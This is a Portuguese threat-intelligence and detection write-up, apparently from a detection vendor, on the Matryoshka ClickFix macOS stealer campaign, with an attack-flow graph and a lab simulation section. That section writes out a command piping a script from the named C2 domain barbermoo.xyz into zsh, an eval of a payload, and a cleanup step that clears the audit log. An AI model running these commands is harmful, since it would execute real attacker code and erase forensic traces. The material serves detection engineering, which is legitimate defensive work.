Descompactando a Nova Variante “Matryoshka” ClickFix: Campanha de Typosquatting Distribui Stealer para macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Uma nova operação de malware para macOS denominada Matryoshka abusa de um domínio parecido com erros de digitação para manipular socialmente as vítimas a colar um comando malicioso no Terminal. A linha única executa um script codificado que é decodificado na memória e, por fim, implanta um interceptador baseado em AppleScript direcionado a credenciais de navegador e carteiras de criptomoeda. O instalador executa silenciosamente em segundo plano, suprime a saída visível e carrega os dados coletados usando um cabeçalho de API personalizado. A campanha é impulsionada por interação do usuário em vez de exploração de software.
Investigação
Analistas da Intego reconstruíram a cadeia de ponta a ponta: um domínio com erro de digitação redireciona os usuários para uma fase de shell leve hospedada em barbermoo.xyz. Esse script realiza uma decodificação Base64 + gzip na memória, executa um carregador que recupera a carga útil do AppleScript e prepara os resultados da coleta em /tmp/osalogging.zip antes da exfiltração. O AppleScript tenta o roubo de credenciais ao apresentar um prompt falso de Preferências do Sistema e também visa ferramentas de criptografia ao substituir ou corrigir os pacotes de aplicativos Ledger Live e Trezor Suite. analysts reconstructed the chain end to end: a typo-squatted domain redirects users to a lightweight shell stage hosted at barbermoo.xyz. That script performs Base64 + gzip decoding in memory, executes a loader that retrieves the AppleScript payload, and stages collection results into /tmp/osalogging.zip before exfiltration. The AppleScript attempts credential theft by presenting a fake System Preferences prompt, and it also targets crypto tooling by replacing or patching Ledger Live and Trezor Suite application bundles.
Mitigação
A conscientização do usuário é o principal controle: não cole comandos do Terminal de sites da internet. Bloqueie e monitore os domínios identificados com erros de digitação e relacionados ao C2, bem como a infraestrutura de distribuição de tráfego que apoia a entrega. Aplique uma lista de permissão de aplicativos e utilize proteção de endpoint que possa detectar execuções suspeitas de osascript e padrões de recuperação anormais baseados em curl.
Resposta
Alerta em curl iniciado por Terminal canalizado para zsh ou osascript, monitorar a criação de /tmp/osalogging.zip e sinalizar mudanças inesperadas em pacotes Ledger Live e Trezor Suite. Imponha filtragem DNS para barbermoo.xyz, comparisions.org e macfilesendstream.com. Investigue qualquer processo que seja iniciado silenciosamente em segundo plano imediatamente após a execução de um comando acionado por curl.
“graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% Nodes action_initial_access[“<b>Ação</b> – <b>T1204.001 Execução de Usuário Link Malicioso</b><br/><b>Descrição</b>: A vítima acessa um domínio com erro de digitação e vê um comando para copiar u2011colar.”] class action_initial_access action tool_curl[“<b>Ferramenta</b> – <b>Nome</b>: curl<br/><b>Descrição</b>: Transfere dados de uma URL para a máquina da vítima.”] class tool_curl tool process_fetch_rogue[“<b>Processo</b> – <b>Nome</b>: fetch_rogue.sh<br/><b>Comando</b>: curl u2026 | sh”] class process_fetch_rogue process action_execution[“<b>Ação</b> – <b>T1059.004 Shell Unix</b><br/><b>Descrição</b>: Executa comandos shell Unix para baixar e executar rogue.sh.”] class action_execution action action_obfuscation[“<b>Ação</b> – <b>T1027.009 Payloads Embutidos</b><br/><b>Descrição</b>: rogue.sh contém um payload base64u2011gzip decodificado diretamente na memória.”] class action_obfuscation action action_indirect_exec[“<b>Ação</b> – <b>T1202 Execução Indireta de Comando</b><br/><b>Descrição</b>: Carregador executa em segundo plano, se desliga do terminal e suprime I/O.”] class action_indirect_exec action tool_applescript[“<b>Ferramenta</b> – <b>Nome</b>: AppleScript<br/><b>Descrição</b>: Exibe um diálogo falso de Preferências do Sistema para capturar entradas do usuário.”] class tool_applescript tool action_gui_capture[“<b>Ação</b> – <b>T1056.002 Captura de Entrada GUI</b><br/><b>Descrição</b>: Diálogo do AppleScript captura senhas inseridas pelo usuário.”] class action_gui_capture action action_cred_harvest[“<b>Ação</b> – <b>T1056 Captura de Entrada</b><br/><b>Descrição</b>: Script coleta credenciais armazenadas no navegador após a interação do usuário.”] class action_cred_harvest action action_masquerade[“<b>Ação</b> – <b>T1036 Mascaramento</b><br/><b>Descrição</b>: Substitui e resigna binários do Ledger Live e Trezor Suite por versões maliciosas.”] class action_masquerade action action_stage_data[“<b>Ação</b> – <b>T1074.001 Stage de Dados Locais</b><br/><b>Descrição</b>: Prepara arquivos roubados em /tmp/osalogging.zip antes da exfiltração.”] class action_stage_data action action_c2_comm[“<b>Ação</b> – <b>T1071.001 Protocolos Web</b><br/><b>Descrição</b>: Comunica-se com o servidor C2 usando solicitações HTTP(S) e um cabeçalho de APIu2011key personalizado.”] class action_c2_comm action action_exfil_over_c2[“<b>Ação</b> – <b>T1041 Exfiltração Sobre o Canal C2</b><br/><b>Descrição</b>: Faz o upload do arquivo zip preparado para o servidor C2 via uma solicitação POST.”] class action_exfil_over_c2 action action_auto_exfil[“<b>Ação</b> – <b>T1020 Exfiltração Automatizada</b><br/><b>Descrição</b>: Dados são enviados automaticamente para o C2 sem interação adicional do usuário.”] class action_auto_exfil action %% Connections action_initial_access u002du002d>|usa| tool_curl tool_curl u002du002d>|baixa| process_fetch_rogue process_fetch_rogue u002du002d>|executa| action_execution action_execution u002du002d>|leva a| action_obfuscation action_obfuscation u002du002d>|habilita| action_indirect_exec action_indirect_exec u002du002d>|usa| tool_applescript tool_applescript u002du002d>|aciona| action_gui_capture action_gui_capture u002du002d>|captura| action_cred_harvest action_cred_harvest u002du002d>|alimenta| action_masquerade action_masquerade u002du002d>|armazena| action_stage_data action_stage_data u002du002d>|transfere| action_c2_comm action_c2_comm u002du002d>|exfiltra| action_exfil_over_c2 action_exfil_over_c2 u002du002d>|automatiza| action_auto_exfil %% Class assignments class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process “
Fluxo de Ataque
Detecções
Possível Manipulação de Strings Codificadas Base64 (via cmdline)
Ver
Arquivo Foi Criado Na Pasta Temporária do MacOS (via file_event)
Ver
Comando de Controle e Comando Suspeito por Pedido DNS de um Domínio de Nível Superior (TLD) Incomum (via dns)
Ver
Tentativa de Execução de Curl Suspeita [MacOS] (via cmdline)
Ver
Detecção da Execução de Comando de Terminal Variante Matryoshka [Criação de Processos Linux]
Ver
Execução de Simulação
Pré-requisito: O Checklist de Pré-voo de Telemetria & Base Devem ter passado.
Justificação: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um adversário que já comprometeu uma conta macOS de baixa privilégios deseja executar uma carga útil remota sem escrever arquivos em disco. Eles criam uma linha única que busca um script codificado em base-64 de um domínio C2 malicioso (barbermoo.xyz), o canaliza diretamente parazsh, e finalmente usaevalpara executar a carga útil na memória. Esta abordagem se alinha com T1059.004 (shell Unix) e T1027 (ofuscação) e é exatamente o que a regra Sigma está observando.-
O atacante obtém um token único (
ABCD1234) que vincula a solicitação à sua campanha. -
Eles executam a seguinte linha em uma sessão de Terminal:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
Dentro do script obtido, uma variável
payloadcontém uma carga útil maliciosa codificada em base64, que é executada via:eval "$payload"
Isso gera duas entradas distintas de linha de comando que a regra corresponde:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
Script de Teste de Regressão:
O script abaixo reproduz o comportamento malicioso em um ambiente de laboratório controlado. Executá-lo apenas em um host de teste macOS. Ele registra sua própria execução no log de auditoria do sistema, satisfazendo a regra de detecção.#!/usr/bin/env bash # ------------------------------------------------- # Simulação de Variante Matryoshka – aciona regra Sigma # ------------------------------------------------- set -euo pipefail # --- Configuração ------------------------------------------------- TOKEN="ABCD1234" # Substitua por qualquer string para simular exclusividade MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # Uma pequena carga útil inofensiva para demonstração – exibindo uma mensagem (substituir por carga útil real em equipe vermelha) PAYLOAD="echo 'Carga útil maliciosa executada'" # --- Etapa 1: Buscar e canalizar para zsh (corresponde ao primeiro padrão de detecção) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- Etapa 2: Simular eval em memória (corresponde ao segundo padrão) ------------- # Em um ataque real, a carga útil seria codificada em base64 e decodificada rapidamente. eval "${PAYLOAD}" -
Comandos de Limpeza: Remova quaisquer processos transitórios e restaure o estado do shell.
# Mate quaisquer processos zsh gerados pelo teste (se ainda estiverem em execução) pkill -f "zsh -c .*barbermoo.xyz" # Opcionalmente, limpe o log de auditoria das entradas de teste (requer administrador) sudo audit -c # Limpa o buffer de auditoria (demonstra T1070.010)